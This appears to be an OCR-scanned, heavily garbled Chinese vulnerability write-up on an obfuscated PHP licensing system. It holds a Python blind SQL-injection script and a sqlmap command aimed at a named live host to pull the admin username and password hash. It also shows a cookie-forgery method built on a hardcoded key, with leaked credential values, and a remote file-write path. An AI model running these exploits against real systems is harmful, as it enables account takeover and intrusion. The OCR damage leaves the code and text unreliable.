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else if ($_obfuscate _kYyPkY_PkJKVh4qGjJGlio4 € == "e138")

{

$ obfuscate kpGPh4mNh46SkZONh4eLIJU€ ="";

$ obfuscate k42NkY2RkoiNjJCKIZSKilg® = trim( $_POST['SerialNo'] );
$_obfuscate_iJWM;liVi5OGjJOViY2Li48€ = $_obfuscate_k42NkY2RkoiNjJCKIZSKilg®;
$ obfuscate iluQkYaUioqGlI6ljluMil8€ = trim( $ POST['Status'] );

$ obfuscate jpGJk5SSkJOIk4iQil_OhpU@ = trim( $ POST['Money" );
$_obfuscate_lluQk50GjpKVjY6Uil_QjJM@ = $_obfuscate jpGJk5SSkJOIk4iQil_OhpU@;
$_obfuscate_ilmJjYmQjYyOjluVkluMjls € = trim( $_POST['VerifyString );
VerifyString 115 1 )

else if ($_obfuscate_kYyPkY_PkJKVh4qGjJGlio4 € == "e138")

{

$ obfuscate k4mJh5SPkY6Vh4qHjlaJh44€ = TRUE;

if ($_obfuscate_ilmJjYmQjYyOjluVkluMjls € != strtolower( md5(
"SerialNo=".$_obfuscate k42NkY2RkoiNjJCKIZSKilg®."&UserID=".$_obfuscate jl2JIY QkoeQj50LjouLIYo @[

))|)
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{
$ obfuscate k4mJh5SPkY6Vh4qHjlaJhd4€ = FALSE;

}
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strtolower(md5('SerialNo=1&UserlD=1&Money=100&Status=1&AttachString=e138&MerchantKey=1"))
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$_obfuscate 1ZGQj4iOji4mTIZGNjZGU]SE€ = $_obfuscate_jlaUileSjZWKIIgLklgOioc€ -
> obfuscate iY60OkJCRKY2PjpCPk5CRkJA® ( "select * from kss_tb_order where
ordernum=".$_obfuscate iJWM;liVi5OGjJOViY2Li48€." );

SerialNo=0'or(0)#&UserlD=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd9t
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if (empty( $_obfuscate_liqUIlaMj4aNjJCRkoeJIJE® ) )

{

$_obfuscate h5SQiYyTkY_PjYmRjZWPh4k€ = $ obfuscate_jlaUileSjZWKIIgLklqOioc€ -
> obfuscate_iY6OkJCRKY2PjpCPk5CRkJA® ( "select * from kss_tb_manager where id=1");

if ($_obfuscate_llqUIlaMj4aNjJCRkoeJIJE€ != md5(
$_obfuscate_h5SQiYYyTkY_ PjYmRjZWPh4k®['username'.$_obfuscate h5SQiYyTkY PjYmRjZWPh4k€['pass

))

| LI | ¢

{

_obfuscate_kYyOhoulLjo2Gh4eNj4iQllg® ( "R R 46 5 43 8 J et )
}

$ obfuscate [160iIJSPjZWVi5GQhoiPjpU@[level] = 9;

$_obfuscate [160iJSPjZWVi5GQhoiPjpU @ ['powerlist] = "admin";

}

K4 2& kss_tb_manager, =7 Zusernamefipassword, id/&1
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#! coding:utf-8

import requests

import sys

if sys.getdefaultencoding() != 'utf-8'"

reload(sys)

sys.setdefaultencoding('utf-8')

def main():
url="http://guaika.txmeili.com:8888/kss_inc/payapi_return2.php"

chars = 'abcdefghijklmnopgrstuvwxyz 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ=+-*/{\}?!: @#$%&()
0.

result="

for i in range(1,1000):
i =str(i)

for j in chars:

j=ord())

#SerialNo=0'or(1)#&UserlD=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd¢

4 m | o

payload =
""0'or(ascii(substr((select(concat(username,0x3a,password))from(kss_tb_manager)where(id=1)),%s,1))=%s)#"

(i,J'l)

1 | 3

data = {'SerialNo": payload,

'UserlD' : 1,

'‘Money' : 100,

‘Status' : 1,

‘AttachString' : 'e138',

'‘MerchantKey' : 1,

'VerifyString' : 'ebd95c4233e8c02fe0854306afd71bee’,
}

#print payload

do_whlie = True

while do_whlie:



try:
r=requests.post(url,data=data)
if r.status_code == 200:
do_whlie = False
except Exception as e:
print str(e)

#print r.text

if TGN in rtext:
result += chr(j)

#print r.text

print result

if _name_ ==" main

main()
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sqglmap -r burp.txt -p SerialNo --dbms mysq| --risk 3 --level 5 --string="i] ¥. &4~ #F" --technique B
POST /kss_inc/payapi_return2.php HTTP/1.1

Host: guaika.txmeili.com:8888

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8



Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 123

SerialNo=0&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233
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function _obfuscate jZKVIY6HKYmKKklyRj4qSjlc€( $_obfuscate_iYyTho_ HIJCOh4yRj4ePjdk @,
$ obfuscate_ipCJIJOSIJSQKYgNIYgKIIs€ )

{

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePj4k®, $ obfuscate ipCJIJOSIJSQKYgNIYgKIIls€, 0, /",
NULL, NULL, TRUE );

if (BINDIP == 1)
{

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePjdk®." ver", md5(
$_obfuscate_ipCJIJOSIJSQkYgNIYgKIIs€.COOKKEY._obfuscate jZKKjpCGkZSUj4aOilePIZI€( ) ), 0, "/",
NULL, NULL, TRUE );

}

else

{

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePj4k®." ver", md5(
$_obfuscate_ipCJIIJOSIJSQkYgNIYgKIls€.COOKKEY ), 0, "/", NULL, NULL, TRUE );

}
return $_obfuscate_ipCJIJOSIJSQkYgNIYqKIls€.COOKKEY;

Y
i Fkss_admin/index.php
i T setcookie_function

_obfuscate jZKMIY6HKYmKKkIyRj4qSjlc€ ( "kss_manager”, $_obfuscate i4qGi5WLhogPkoyGkoiMhpU € );



$_obfuscate_jlaUileSjZWKIIgLklgOioc€->_ obfuscate kpSOj5KVio2Hj4uKj4 KjlY € ( "update kss_tb_manager
set

‘linecode’=".$_obfuscate kI6PjYmLhpGMk4qGjZSHIIg®.", lastlogintime =" obfuscate jZGJkpOSKY_ HiY2H;j
).", lastloginip’=".$_obfuscate kYmJjZOlizKJiogMkoaGiYk®." where
id’=".$_obfuscate_kY_OlYeUlliVjo6Hio_Mkpl@['id], "notsync" );

4 | I 3

$_obfuscate i4mRjZCJIZCGk4_UioyHk4k @ ['logintype’] = 1;
_obfuscate jYuKk4uOiYmSkpOTj5GUIZA® ( $_obfuscate i4mRjZCJIZCGk4_UioyHk4k € );

$_obfuscate_i4qGi5WLhogPkoyGkoiMhpU€ =
$_obfuscate kY_OlYeUlliVjo6Hio_Mkpl@[id.",".$_obfuscate h4eSk4uGiZCKhoyNkIiTII8€.",".md5(
$_obfuscate jZOIiliJkJOGIY_KjoaGh4c® ).",".$_obfuscate kI6PjYmLhpGMk4qGjZSHIIg®;

_obfuscate jZKMIY6HKYmKKkIyRj4qSjlc€ ( "kss_manager", $_obfuscate i4qGi5WLhogPkoyGkoiMhpU € );
Ht 2 1
setcookie_function( "kss_manager",$id.",".$username.",".md5($password).",".$linecode"

SR G AT f)setcookie, 75 Fkss_managerfilkss_manager verp->cookie

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePj4k, $ obfuscate ipCJIJOSIJSQkYgNIYgKIIls€, 0, /",
NULL, NULL, TRUE );

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePjdk®." ver", md5(
$_obfuscate_ipCJIJOSIJSQkYgNIYqKIls€.COOKKEY ), 0, "/", NULL, NULL, TRUE )

It HAE kss_inc/_config.php#k #|$COOKKEY#1{& XlpCcfoe y43
define( "COOKKEY", "XlpCcfoe_y43" );

define( "COOKKEY?2", "MGHOuU2m|oXDz" );

7E kss_inc/db_function.php

#.3) 7 $linecodel114 efefefef

if ( $_obfuscate_|160iJSPjZWVi5GQhoiPjpU®[linecode’] != $ obfuscate _h4 NjYili46Lh5KHkoaKkZQ€[3] &&
"efefefef" 1= §_obfuscate h4 NjYilid6Lh5KHkoaKkZQ € [3] &&
$_obfuscate II60iJSPjZWVi5GQhoiPjpU € ['username’] = "test01" )

{

_obfuscate_kYyOhouljo2Gh4eNj4iQllg® ( "Rk S 4 Fr N2k, 1 dopr il );
}
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kss_manager

1,axing,8ccf03839a8c63a3a9de17fabac6a192,efefefef

kss_manager_ver

md5("1,axing,8ccf03839a8c63a3a9de17fabac6a192,efefefef"."XipCcfoe_y43")


file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/index.php
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$ obfuscate koiKkliPjlBUkYeRIlgNhoc® = _obfuscate IY6Gk5KMKkYmPjlyPhpCOIYc® (
"http://api.hphu.com/import/".$_obfuscate koaSiYqGjlgMiZSLk4uGiZU € .".php?
phpver=".PHP_VERSION."&webid="WEBID."&rid=".time( ), 300 );

FATER N\ _obfuscate IY6GKSKMKYmPjlyPhpCOIYc® % 4
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curl_setopt( $_obfuscate joiNh4alhouViZGQho_Jil4€, CURLOPT_HEADERFUNCTION, "read_header" );
curl_setopt( $_obfuscate _joiNh4alhouViZGQho_Jil4€, CURLOPT_WRITEFUNCTION, "read body" );

% Fread_bodyrf £

function read_body( $_obfuscate_joiNh4alhouViZGQho_Jil4€, $_obfuscate jJWMiJWJjoylkYmLjY6VipM® )
{

global $_obfuscate ko6MhoiQkJKRIYeVio JjYo®;

global $_obfuscate j4eNjZOQlluKhogMj4mOjYs€;

global $_obfuscate koaSiYqGjlgMiZSLk4uGiZU @ ;

if ($_obfuscate_ko6MhoiQkJKRIYeVio_JjYo® == 0 && substr( $_obfuscate jJWMiJWJjoylkYmLjY6VipM €,
0, 2 ) -

{

$_obfuscate j4eNjZOQlluKhogMj4mOjYs€ = 0;

}
$_obfuscate_ko6MhoiQkJKRIYeVio JjYo® += strlen( $_obfuscate jJWMiJWJjoylkYmLjY6VipM€ );



file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR." webup.php",
$_obfuscate_jJWMiJWdJjoylkYmLjY6VipM€, FILE_APPEND );

echo ™

echo "\r\n";

ob_flush( );

flush( );

return strlen( $_obfuscate jJWMiJWJjoylkYmLjY6VipM®@ );

}

H-rhread_body pfi <> curl 2] (1) 4 %5 5 2] kss_tool/_webup.php

file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR." webup.php",
$_obfuscate jJWMiJWJjoylkYmLjY6VipM€, FILE_APPEND );
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action=aye666%27
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